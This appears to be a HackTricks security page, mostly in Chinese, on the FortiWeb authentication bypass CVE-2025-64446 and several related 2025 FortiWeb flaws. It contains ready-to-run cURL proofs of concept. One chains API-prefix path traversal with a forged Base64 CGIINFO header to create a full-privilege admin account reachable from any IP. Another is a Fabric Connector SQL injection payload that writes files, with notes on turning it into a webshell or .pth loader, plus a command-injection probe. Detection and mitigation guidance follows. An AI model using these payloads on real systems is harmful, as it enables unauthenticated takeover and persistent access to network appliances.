Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
Fortinet FortiWeb 在 /cgi-bin/fwbcgi 暴露了一个集中式 CGI 分发器。 一条由两处漏洞构成的链允许未经认证的远程攻击者:
- 通过以有效的 API 前缀开始 URL 并进行目录遍历来访问
fwbcgi。 - 通过提供一个 CGI 信任为身份的特殊 HTTP header 来冒充任何用户(包括内置的
admin)。
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446)。已观察到在野外利用该漏洞创建持久的 admin 用户。
受影响的版本(按公开文档):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 对下面的遍历探测返回 HTTP 403。
快速漏洞探测
- 从 API 前缀到
fwbcgi的路径遍历:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- 解释:HTTP 200 → 可能易受影响;HTTP 403 → 已修补。
根本原因链
- 使用 API 前缀的路径遍历到内部 CGI
- 任何以有效 FortiWeb API 前缀开始的请求路径(例如
/api/v2.0/cmdb/或/api/v2.0/cmd/)可以通过../遍历到/cgi-bin/fwbcgi。
- 最小请求体验证绕过
- 一旦到达
fwbcgi,第一个关卡会执行一个宽松的 JSON 检查,该检查由位于/var/log/inputcheck/下的每路径文件作为键。若该文件不存在,检查会立即通过。若存在,请求体只需是有效的 JSON。使用{}作为最小合规请求体。
- 基于 Header 的用户冒充
- 程序读取 CGI 环境变量
HTTP_CGIINFO(来自 HTTP headerCGIINFO),对其进行 Base64 解码,解析 JSON,并将属性直接复制到登录上下文,设置 domain/VDOM。关注的键: username,loginname,vdom,profname- 用于冒充内置 admin 的示例 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
上述内容的 Base64(实战中使用时):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
端到端滥用模式(unauthenticated → admin)
- 通过 API-prefix traversal 到达
/cgi-bin/fwbcgi。 - 提供任意有效的 JSON 主体(例如
{})以满足输入检查。 - 发送请求头
CGIINFO: <base64(json)>,其中 JSON 定义目标身份。 - 使用 POST 向
fwbcgi发送后端期望的 JSON 以执行特权操作(例如,创建管理员用户以维持持久性)。
最小 cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- 冒充 admin 并创建一个新的本地 admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
注意:
- Any valid JSON body suffices (e.g.,
{}) if/var/log/inputcheck/<path>.jsondoes not exist. - The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.
其他值得快速检查的 FortiWeb 2025 漏洞
预认证 Fabric Connector SQLi → RCE (CVE-2025-25257)
- 影响 7.6.0–7.6.3、7.4.0–7.4.7、7.2.0–7.2.10、7.0.0–7.0.10。已在 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11 修复。
- 漏洞:
get_fabric_user_by_token()将Authorization: Bearer <token>的值直接用于 SQL 查询。攻击者注入的 SQL 将以 MySQL 用户身份执行,并可通过SELECT ... INTO OUTFILE写出文件,从而实现代码执行(webshell/.pthloader)。 - 典型攻击面:
/api/fabric/device/status(以及管理平面通过 HTTP/HTTPS 提供的其他 Fabric Connector 端点)。 - 快速测试 SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- 武器化:write a
.pthinto FortiWeb’s Python site-packages that importsos;os.system(...)on interpreter start, or drop a CGI under the webroot. Reloading services will execute the payload. - 侦测线索:Authorization headers containing quotes/UNION/SELECT; unexpected files under
/data/lib/python*/site-packages/or/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO signature bypass (CVE-2025-59719)
- 不正确的 SAML 签名验证允许攻击者伪造 FortiCloud SSO 响应并在无凭证的情况下以 admin 身份登录。
- 仅当 FortiCloud SSO login 启用时可被利用(如果通过 GUI 注册了 appliance 则会自动开启,除非取消勾选该复选框)。
- 受影响版本(根据 PSIRT):8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9。已在 8.0.1 / 7.6.5 / 7.4.10 中修复。
OS command injection in management plane (CVE-2025-58034)
- 受影响:7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1。已在 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2 修复。
- 实用探测(非破坏性):向管理平面的 HTTP 端点发送包含
;id;的参数,观察是否出现带有命令输出的 500 响应;若看到任何回显,立即封堵或打补丁。
检测
- 通过包含
../的 API 前缀路径访问/cgi-bin/fwbcgi的请求(例如/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)。 - 存在名为
CGIINFO的 header,其包含的 Base64 编码 JSON 中含有键username/loginname/vdom/profname。 - Fabric Connector SQLi:Authorization headers containing SQL metacharacters、Python site-packages/CGI 目录中出现突增的文件、来自互联网 IP 的对
/api/fabric/device/status的访问。 - FortiCloud SSO:在
/var/log/ssod中发现异常的 SAML issuer 或 audience 值。 - 后端痕迹:
- 在
/var/log/inputcheck/下的按路径文件(gate 配置)。 - 异常的 admin 创建和配置变更。
- 快速验证:遍历探测返回 200(暴露)与 403(在修复的版本中被阻止)之间的区别。
缓解措施
- 根据厂商公告升级到修复版本(示例:8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12)。
- 修补其它 2025 年的漏洞:SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2)。
- 在打补丁之前:
- 不要将 FortiWeb 管理平面暴露给不受信任的网络。
- 添加反向代理/WAF 规则以阻断:
- 以
/api/开头并包含../cgi-bin/fwbcgi的路径。 - 携带
CGIINFOheader 的请求。 - Authorization 中带有 SQL 元字符的 Fabric Connector 调用。
- 如果不使用 FortiCloud SSO,则不要从互联网暴露 SAML 端点。
- 监控并基于上述检测指标报警。
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


